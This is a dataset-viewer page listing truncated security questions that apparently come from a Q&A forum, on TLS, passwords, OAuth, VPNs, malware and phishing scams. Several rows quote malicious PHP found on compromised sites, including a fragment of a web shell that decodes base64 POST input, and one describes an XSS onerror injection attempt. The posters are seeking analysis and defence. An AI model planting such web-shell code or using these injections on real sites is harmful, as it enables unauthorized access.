instruction stringlengths 24 27.2k |
|---|
I need to compile an app that will run on an Android, or Android compatible system (Android, Amazon Fire, or Blackberry).
The developer documentation says that JDK 7 is needed, however there are incremental U updates available from Sun
Does it matter, from a security perspective, which version of 7.x JDK was used to co... |
I was reading some questions on here regarding the correct horse battery staple method, and the conclusion was that, assuming any words in the list of most common English words, every word adds about 10-11 bits of entropy, so the XKCD method was relatively correct in their conclusion.
Now, how much secure would that p... |
This Script seems to have been added into my Site Code
I want to understand what is it trying to do so I can try to prevent it .
<?php
/* =====================================================
Copyright (c) 2004,2015 SoftNews Media Group
API ENGINE
=====================================================
GNU GENERAL P... |
Since early April of 2015, my web site has been getting thousands of requests from many search engines for URLs that don't exist and never have existed.
I found a similar, but less detailed, stackexchange question. That question has Google, Bing, Yahoo, Yandex and "some place in the UK", just as I note in my descriptio... |
OpenBSD offers a live cd that can be downloaded at http://livecd-openbsd.sourceforge.net/
However, there is no md5sum, no sha256, no checksum of any kind on this page. How can we test this version for integrity?
|
I've been tasked with conducting an internal pentest, I'm relatively new to this so please bare with me.
Some time ago, I used setoolkit and I would have the option to clone a website and attach a malicious jar file, additionally the option to encode the payload was there using Shikata ga nai. In the newer version of... |
I am writing a C++ application that creates a Bitcoin address. I am having a hard time installing openssl for windows and making it work for visual studio.
So, I am asking myself, if I create a private key, let's say a hex string of 64 chars, by simply executing rand() multiple times, and then create a Bitcoin public ... |
How do you prevent confidential information from leaving the network?
Nowadays online storage facilities are in abundance. e.g. Google Drive, One Drive, etc. Any employee can just upload sensitive information to these sites for storage. This is just one example. Other examples maybe to store such information to USB and... |
Unpatched Windows machines (even machines that are just a couple of updates behind) can greatly increase the chances of a successful penetration test (assuming your success criteria is gaining access and compromisation). Has there been anything written on the potential impact of the Windows 10 forced updates on penetra... |
I am wondering if AES-128 and the likes were once broken and if they were broken because people knew they were trying to break AES then why don't we create our own personal algorithm to encrypt the data and let the intruders wonder which algorithm was used?
|
I read an article titled the network is hostile, in which the following is stated:
Traffic analysis remains a particular problem: even knowing the size of the files requested by a TLS-protected browser connection can leak a vast amount of information [pdf] about the user's browsing habits.
In the linked article, a th... |
Cookies really do make for a better experience on the web but do they also create a vulnerability? How often should I clean them out and what benefits are gained by doing so?
|
They could just listen to beacons. Why do they probe for every network you've ever connected to?
Do other wireless devices do this? Does Windows, Linux esp. Kali, do this?
|
In countries like Germany each citizen has an identity card that is issued by the registration
authority.
Since the identity of a citizen is, in a sense, created by that authority via
assigning him a
unique number, why not let it also to directly certify the public key of any citizen who desires
to employ asymmetric... |
I want to run all services within Docker containers (including RA and site-to-site VPN) such that all containers except the VPN are not exposed on the public IP, but are reachable on the VPN IP. This would mean an attacker would need to gain VPN access to know what was on the network, let alone attack anything. To the ... |
The questions here are about shims in the 3 most commonly used browsers.
A shim (also known as polyfill) is a piece of code (often JavaScript or Flash) implemented to augment the native API in a web browser.
I have two questions about this technology:
Can a shim be installed in IE, FF, or Chrome without user knowledg... |
On resetting a smartphone, the default factory image replaces the OS completely and restores it to known good settings.
Is there any known way by which this default image can be compromised? On Android, by getting root access, can't some malware just outright flash the ROM itself? And how viable is such an attack on a... |
So Java has a mode called RSA/ECB/OAEPWITHSHA-256ANDMGF1PADDING. What does that even mean?
RFC3447, Public-Key Cryptography Standards (PKCS) #1: RSA Cryptography Specifications Version 2.1, section 7.1.2 Decryption operation says Hash and MGF are both options for RSAES-OAEP-DECRYPT. MGF is it's own function, defined in... |
Say I have the a website with the following code on it:
<input type="text" id="search-text" name="query" value="?" />
Double quotes aren't escaped so I can break out of the value attribute, however, I can't break out of the HTML tag itself as '<' and > are being filtered out.
My goal here is to get a javascript popup ... |
When using a packet sniffer, I notice a lot of packets being sent to a bunch of ISPs (such as axion.ca, wanadoo.fr/orange?, bresnan.net, zebra.lt) usually all at the same time. Here's a screenshot of the hosts in SmartSniff. I happen to live in none of these hosts' countries, so this is very strange.
Is this a normal t... |
The Secure Socket Tunneling Protocol is a VPN protocol developed by Microsoft. It sends traffic over an SSL version 3 connection.
Since SSlv3 is vulnerable to the POODLE attack, does this mean that SSTP trafic is vulerable? This answer says that:
The main and about only plausible scenario where [the conditions
requi... |
In process of SSL handshake, several message like ServerHello, ClientHello, ServerKeyExchange messages are exchange before the actual encryption starts.
Are these messages encrypted?
If not then can a bad guy make illicit use of it? If yes, then how?
I am wondering if these messages are not encrypted then bad guy c... |
Imagine you're building Facebook, except you don't want to reveal user identity for posts and comments. You still want to verify each user's organization. For example, if the user signs up with john@hooli.com then you will only let him write posts after he's verified his email. This is my initial setup.
Posts and Comm... |
I am trying to understand the impact of sharing the private key with a third party for snooping SSL traffic. Below are my thoughts, please correct and add if some more impacts are there:
One clear impact is that I will not be able to use the key exchange algorithms like DH, DHE and ECDHE because they generated a new k... |
Could you please help me to clarify the following:
ISO 25023 standard divided security into the following 5 characteristics which are:
Confidentiality characteristic (divided into) -----> Access controllability and Data encryption
Integrity characteristic (divided into) -----> Data corruption prevention and Internal ... |
I know that a long password is a good password. However, some sites require short passwords e.g. exactly 8 characters long.
Under those limitations, what is a good method of creating and memorizing a (relatively) secure password?
|
I have thought of an idea (new product) to have 100% secure communication between 2 parties and would like your feedback/ideas on how to sell it.
Oh, before you start that there is no such thing as 100% secure encryption, please bare with me, and just see it as a philosophical concept.
Lets imagine that somebody has re... |
I need to keep sensitive data in a de fact public place (i.e. with a user, e.g. in a cookie) and only there (no copy or hash of that data should be kept on the server).
The data was encrypted AES/CBC and the private AES key is kept secret on the server (the kind and safety of this key should not be a concern here, let'... |
The JAVA software provided by Oracle is a security mess. But what exactly, in that software package is the most vulnerable. If someone install it and disables the Java plugin in the browser, will he still be vulnerable?
|
In a November 2014 article by Alex Bilbie, OAuth users were advised against making the client send its credentials (client_id and client_secret) when performing Resource Owner Password grant calls. The idea as I understand it is that for the client to be able to add its credentials to its requests, those credentials mu... |
First, please forgive me if I'm posting this question to the wrong community. Feel free to migrate this post to the right community if I was wrong.
I'm quite new to whole disk encryption (but not with encryption), especially with dm-crypt. I'm currently running Arch Linux and have read the documentation dedicated to th... |
I've got two computers. A & B.
While sitting on the computer A how can I see the incoming and outgoing traffic of computer B? Or can I?
Note: Please try to answer in a non-technical language as much as possible cuz I am totally new to this stuff.
Note: I am not trying to hack somebody, if somebody is wondering. It's ... |
I'm on osx. netstat -an -f inet gives me a bunch (around 10) of entries like these:
...
udp4 0 0 *.* *.*
udp46 0 0 *.* *.*
...
In my understanding, this means there are applications accepting udp packets on any port from anywhere on any interface. Isn't this... |
Starting yesterday, I noticed that something weird is going on with my laptop. After unlocking my laptop I found that the empty Chrome pages that I opened are getting redirected to ads. I am running Ubuntu and haven't downloaded any specific Chrome extensions recently. What might cause something like this?
and the UR... |
When I log into outlook.com using Chrome browser, I get a certificate warning for one account but not another. One says my connection is private, the other says it "may not be private".
Here are the messages:
Good:
Bad:
What's going on here? If you need more info please say so in the comments.
|
I understand that the confidentiality aimed at protecting access to the system data, while privacy aimed at protecting access to the person data. Now, could we consider anonymity as a sub-characteristic of privacy and privacy as a sub-characteristic of confidentiality?
|
According to the guide at How to Run Your Own Certificate Authority, my organization have a plan to issue our own digital certificates for internal use only (the managers will sign PDF documents to send the staff).
We are considering some solutions such as:
For issuing: Simple Authority (Free-verion), Keystore Explore... |
I am interested in the intersection of account enumeration and single sign-on. Often, there will be SSO-only and non-SSO users alongside each other in an application, and in terms of improved usability the SSO users will need to be redirected to their specific login portal.
One example I have found is with Office365 re... |
I am writing a basic Unix password cracker in Python that would work for MD5, SHA-1 and SHA512.
I know that the salt in MD5 correspond to the 2 first chars of the encrypted password, and thus I assumed that it would be the same for SHA.
But after looking at some answers on SO (here for example), it seems that a Salt... |
My software system is running a cloud infrastructure where having Linux machines VPN into OpenVPN gateway is a setup requirement. Also, there may be cases when software on the aforementioned Linux machines may need to access cloud infrastructure when not VPN'ed into the gateway.
During the setup of OpenVPN gateway, I'... |
Note: Below are some information from searching around the Internet. To skip to my main question, go to the last line of this post.
I've been searching around on how to change the Volume Master Key (VMK) in BitLocker. Thus far, I have not been able to find any information on how to do so. The closest we can get is from... |
I have two iPad apps running on the same device.
One is hosting a webDAV server on http://localhost:8080 without any authentication (the server is active whilst the app is foregrounded, and for a few minutes while it runs in the background). Does this mean that only other apps running on the same iPad will be able to a... |
I'm annoyed and actually scared by all the permissions that I have to grant the applications that is running on my Android phone. Is there is a way to bypass them ?
Let's say my microphone. My Facebook application wants to access it without my knowledge once I grant the permission. Is it possible to make new virtual ... |
I don't know if it's considered or not to include a single piece of code that might be malicious. But recently my site was a victim of some URL injection. I was wondering if anyone can tell me what this piece of code does:
<?php
$mujj = $_POST['x'];
if ($mujj!="") {
$xsser=base64_decode($_POST['z0']);... |
I'm looking into Snort to carry our basic intrusion detection, but finding it hard going. What other Intrusion Detection software is there that is good to use for SQL Server?
|
According to an answer to this question : Bypass app permissions, I changed by curiosity the application permission of Facebook and Messenger for the camera to always ask. I'm using CyanogenMod 12.0. Facebook was still able to open the camera without asking me. I then changed it's permission to Ignore, but still the c... |
PCs communicate with the help of ports,eg. HTTP communication takes place over port 80. Due to the nature of these ports, an open port is an avenue for an attack. That's where firewalls come in.
The smartphones also communicate with the Internet. But, AFAIK, they don't come configured in any way with a firewall of any ... |
While playing with a site I have discovered a huge security problem. The thing is, if I tell them about it they might question what was I doing in the first place.
I was trying to hack my friends account. I wasn't planning to do anything with it. I was just very curious and wanted to try something. I didn't think it w... |
I have an OpenVPN gateway setup. A CA was created on the same server with Easy-RSA.
Each OpenVPN client has its own certificate-key pair issued with the aforementioned CA. Server has its own certificate and a private key.
While client's certificate and private key are indeed located on the client side and are used in t... |
I wanted to build a secure user interaction to the server, but I stumbled upon using either token or session. Here are couple of options that I thought about:
I learned JWT, built a token, and sent it back and forth between server and client in my local server. Seems like a good thing to do, since using HTTPS, only tw... |
I'm interested in figuring out what is a typical scenario of preventing the following attack scenario:
Back-end has as SQL server. Front end a simple "Hello World" HTML that passes an input (say user name) to be stored in SQL (sanitized). How does one typically prevent an attacker from writing a for loop and hammering ... |
In Envelope encryption a symmetric secret key is used to sign the data and then another key is used to encrypt the secret to produce an encrypted secret key. The encrypted messages is packaged with the encrypted secret key and sent to the client/consumer which then decrypted the encrypted secret key to get the secret k... |
It was a bit surprising that Wikipedia has switched to TLS because we all know it's public information available to anyone, but I suppose that the real purpose for that is to provide authentication/integrity so that no one can tamper with the articles in transit like Chinese or other governments. Looking at the certifi... |
I pointed my browser at the website of a web developer I barely know, and the page returned was his home page, with the message "Welcome myname@gmail.com!"
Whoa. Where did it get my Gmail address? Never seen that before. I was logged in to that Google account at that time, but somehow that login account is accessible t... |
One problem Office365 users deal with is that an external SMTP server can spoof the domain of an organization and send e-mails to the domain users; where the e-mails appear to be from employees of the organization. On the header the authentication results would look like this:
spf=none dmarc=none dkim=none (message no... |
I'm trying to figure out if it is possible to automatically detect the the fact that the HTML or javascript files on a server have been tampered with or changed by an attacker.
Our website, say www.example.com/index.html, when loaded in a browser, also loads https://www.example.com/scripts/example.min.js inside a <scri... |
The aim is to generate a secure key for symmetric encryption.
I have a master password, from which I want to generate the key for symmetric encryption, in order to encrypt other passwords. The idea is to use PBDKF2 for the generation of that key.
This master password is pretty difficult to deduce, since I only store it... |
Assuming that a given USB drive is compromised(infected), what's the best way to deal with it? I mean, obviously, the solution is to nuke(format) the drive. But for that, the device needs to be connected to a PC. Isn't it possible for the malware to spread from the drive to the PC? Sure, antivirus programs might help b... |
I'm looking for a source of descriptions of 1990s to early 2000s malware; I have searched for a very long time yet found very little. I require information such as payload activation dates, files created, files deleted, and similar.
Edit: I've found a few sites that give vague descriptions, such as the following:
https... |
I develop a two-factor authentication app on iOS and Android and I recently noticed that they run perfectly fine against a local dev server that is vulnerable to LogJam. Is there any way to secure these apps to not allow connections to LogJam vulnerable servers? Is this a reasonable concern?
|
There is a message M, it's encrypted by a symmetric key like Y=E(K,M). The message is sent to B from A. During the transportation of message M, if the message is tampered by C, then when B received the message and decrypted the message, what results will happen?
B decrypts the message properly but get a wrong plain te... |
Our eCommerce wesbite attracts less than 5000 CC transactions each year and we do no store any CC information in our backend or systems but transmit them to our third party provider. We also use a tokenization technique for recurrent billing. We accept CC information on our secured hosted page but trasnmit them through... |
I'm concerned about opening attached Word documents and other files (images, PDFs, etc). Gmail has a feature that previews these in the browser for you in a popup, without leaving the Gmail screen - it looks like they've rendered images of the document in some way and are showing these instead. Is there any risk of mal... |
TL;DR:
Perhaps I've gone overboard with my question's detail, but I wanted to be sure the question was clear since the topic seems very broad. But here it is. The word "smartest" is meant fundamentally, not literally.
Is a server infrastructure fundamentally possible which the smartest person can't breach?
Background:
... |
As far as i known, the protocal OAuth2.0 will bring the access ability from the resources owner(A) to the client. But in the scenario here, I wonder if it is possible to authorize the access ability to another user(B) (After login the user B will access the resources which belong to resource owner A)?
|
We are using MySQL Amazon RDS. The instance is encrypted, and also only available via SSH from the production server EC2 instance.
One of the things we are trying to do is give access to some critical data that that we collect and store in this database to ABSOLUTELY NO ONE, NOT EVEN our employees for support. Given t... |
I am currently working to help a bunch of small pharmacies remain compliant and one of the requirements is: Interviews with staff members about privacy and security policies relevant to their positions.
How do I determine what is relevant to their position or should I just go with a wider range talking about common sen... |
We have set the set X-Frame-Options in the header as ALLOW-FROM same origin but there is a requirement to open below page from some 3rd party website. Do you see security issue here?
HTTP::header replace X-Frame-Options "SAMEORIGIN"
|
I have the following situation:
A user sets up a server that will have to receive login details.
Other users then create accounts and login to this server.
All this happens only over LAN. I'm thinking of using HTTPS; however as the users will have to setup their own servers, they will not have signed certificates.
H... |
I'm investigating options for segmenting a less secure business unit behind a Cisco 5505. I want to take this action quietly and transparently for political reasons.
I want to know if it is possible to feed traffic analysis into some kind of engine to parse out a whitelist of applications and ports. E.G. load a few da... |
In determining TLS standards for my company, I have come to wonder why all recommendations still suggest the use of the Ephemeral Diffie-Hellman TLS ciphers starting in TLS_DHE_xxx
Background and research
After doing a lot of research, I have found the following.
TLS_DHE_xxx cipher suites are not used much in the wild... |
Working through this exercise in network forensics, the attacker used a buffer overflow exploit to send commands to the victim's command prompt. The commands open an FTP session and download some malware. I'm confused about why it works with the ip address 0.0.0.0
The packets show the attacker binds a shell on the v... |
What constitutes as a comparable alternative to encryption? I know that password keepers and other services are not comparable and are not considered encryption.
If the context is authorized access only, does unmounting offline drives in a locked up location classify as a comparable alternative for example.
This is in... |
We have been getting a new kind of scammer-esque call every couple weeks here at the office (I work at an enterprise web application development company).
Basically, the flow of events is this:
Caller has spoofed their caller-ID to have an identical name as our company.
Seemingly friendly lady claims to be "Debbie fro... |
Some days ago, I was talking with a friend about the Snowden revelations and its impact on Infosec awareness and how quite a number of (supposedly) secure alternatives to established services have emerged in the last month.
However, we quickly agreed on the fact that all that application layer security (if it indeed wo... |
I am working with Jaggeryjs now which is a server side JavaScript like Nodejs. When I tried the example mentioned in the documentation, They have provided simple example just like Statement in Java. So, I did some Googling but didn't find any convincing solution just like PreparedStatement in Java.
In that case followi... |
I recently decided to fix up an old laptop by replacing some missing parts. I installed Kali 2.0.
I also figured the most secure OS should be an OS designed for use by security professionals; although I am completely aware the system is only as secure as its user. I purchased two pcie cards capable of monitor mode acc... |
According to information I've gathered on this site, no perfect defense is possible in the area of webserver security. The underlying software and / or maintainers of the system can be exploited to ultimately gain access to any system on Earth connected to the Web.
So the answer to server security becomes a dynamic ba... |
Given that any application running as the logged in user will have read access to that user's ~/.ssh folder, it seems trivial for the application to copy that user's private key and send it over the network.
Is maintaining SSH keys under ~/.ssh considered unsafe for this reason? If so, what is the recommended way to ma... |
As explained in the TCP/IP Guide, it is possible to configure TCP/IP to operate in simplex mode and this mode is utilized, among other things, in communication from satellites.
One consideration with TCP/IP is however that, in itself, it "lacks even the most basic mechanisms for security, such as authentication or encr... |
I have a website that must allow numerous file types to be uploaded, some of which could possibly be dangerous, such as a word document. There's only a single website on this server that allows this.
I suppose my question is two-fold, which I'm finding myself LOST in arguments/debates back and forth in other threads:
... |
I recently learned that there is an attack that utilizes the fact that when brute-forcing a compared string (e.g. hash from a password or token) in a database the query fails a few nanoseconds earlier if the beginning of the string is different than if the end is different and the previous characters are correct. If th... |
As per title, what is the real advantage of using three tiered architecture, where the user interface in one layer, the second layer for application and third layer for database? I can understand that , for example if the user interface is compromised then hackers have another two layers to hack in order to get to the ... |
Today, I noticed that almost all of my web project (published or in localhost) have a set of weird script references in their pages:
And they are all automatically generated - they don't appear in View -> Page Source, but they are visible in Inspect Element -> Elements tab.
This behavior is what a malware does. Howeve... |
I have been able to inject an onerror event to the HTML.
In the image you can see onerror has been injected, but it never fires.
|
Unfortunately, someone in my family fell for a phone scam after data was leaked from TalkTalk. As a result, they allowed remote access to two computers and transferred money from their bank account to the value of over £10,000.
The money will be returned by the bank, however I have the job of trying to figure out what ... |
I've been reading in the last couple of days about CORS and in a lot of places it's mentioned as it is a "Security" feature to help the world from cross domain forgery.
I still don't see the benefit and the reasoning for CORS. Ok, browsers will do a preflight request / server will validate the origin. But an attacker ... |
Not so long ago, I was chatting with a friend on our university's accounts, and the discussion went to an interesting subject: what if the administrators have access to our messages?
So we had the idea to encrypt .txt files using some software (7zip for example) and send these files through hangouts securely.
An id... |
I'm considering storing a hash of a user's session ID in our applications logs on each request. This would allow users sessions to be easily tracked back to actions in our logs.
I understand that storing this is a potential security risk, which i may be willing to consider if the risk is very low. Why is it a risk? If ... |
Using pfx certificate to sign or cypher, the algorithm used (rsa-1_5, rsa-oaep-mgf1p, etc) is defined inside pfx certificate?
Certificate has information about algorithms used?
Or it's totally defined by software that uses these certificate?
|
How secure is the CodeIgniter 3.x framework? I have read that people discourage usage of CodeIgniter because it is unsafe. The problem is: These posts are old and is mainly pointed to the 2.x versions or older.
A quote from this page:
I strongly urge you to stay away from CodeIgniter. I'll give you one reason and thi... |
I am working on a message authentication scheme using libsodium and ed25519. The messages range in size from 256bytes to 1k plus the 56byte signature. With a potential of 90,000 to 350,000 signatures+plaintext per day, many of them will have limited changes and may be very similar (status notifications with an increm... |
Is there any security difference between placing sensitive data, such as an API key in a POST request header versus the POST request body assuming the API server is HTTPS-only?
While you frequently see API keys in the Authorization header or a custom X-API-KEY header, does placing the key in the header actually increas... |
Is this normal or is someone trying to hack/attack me? How can I stop this? My router is a Cg3000v2 netgear provided to me by Optus.
[TCP- or UDP-based Port Scan]411
Wed Aug 26 00:28:08 2015
27.253.92.28:59553
199.85.126.20:53
[IP Fragmented Packet]
1
Wed Aug 26 00:32:18 2015
27.253.92.28:32618
66.49.150.89:10332
[TCP-... |
The novel Daemon is frequently praised for being realistic in its portrayal rather than just mashing buzzwords.
However, this struck me as unrealistic:
Gragg's e-mail contained a poisoned JPEG of the brokerage logo. JPEGs were compressed image files. When the user viewed the e-mail, the operating system ran a decompre... |
At school we have a school-wide LAN network. It connects all the wireless devices to the internet. I've gotten the wireless pass code and have successfully connected to the network, yet I can't use the internet. I assume there is a list of whitelisted MAC addresses on the network that gives only whitelisted devices acc... |
After needing to refresh how to unpack an android ramdisk, the site I remember having good information comes up with something similar to this:
Being cautious, but still wanting to get what was on the page, I turned to lynx.
Finding that lynx -dump http://website.com > /where/i/want/it would get what I need, I am won... |
I got a new smartcard (yubikey neo) and generated a new signing key on it. so now my public key mentions both the old one and the new one:
pub rsa3072/B50A93EA 2015-08-13 [expires: 2018-08-12]
uid [ unknown] Arthur Ulfeldt <arthur@ulfeldt.com>
sub rsa2048/6EE4E07A 2015-08-13 [expires: 2018-08-12]
sub rsa2... |
I recently browsed to apple.com; and the page crashed a few times, then after I reloaded I was given this alert after my browser attempted to redirect to res://ieframe.dll/acr_error.htm#apple.com,http://www.apple.com/:
Is this cause for concern, or a false alarm?
nslookup apple.com provides
Server: UnKnown
Address: ... |
Suppose I have a website and I want to make sure that a hacker isn't making my server down by utilising a DDOS attack on my website. I thought of getting IP address and revoking the access, but it seems cumbersome to implement.
Should I be worried about this? Or should I just leave it without any protection against it.... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.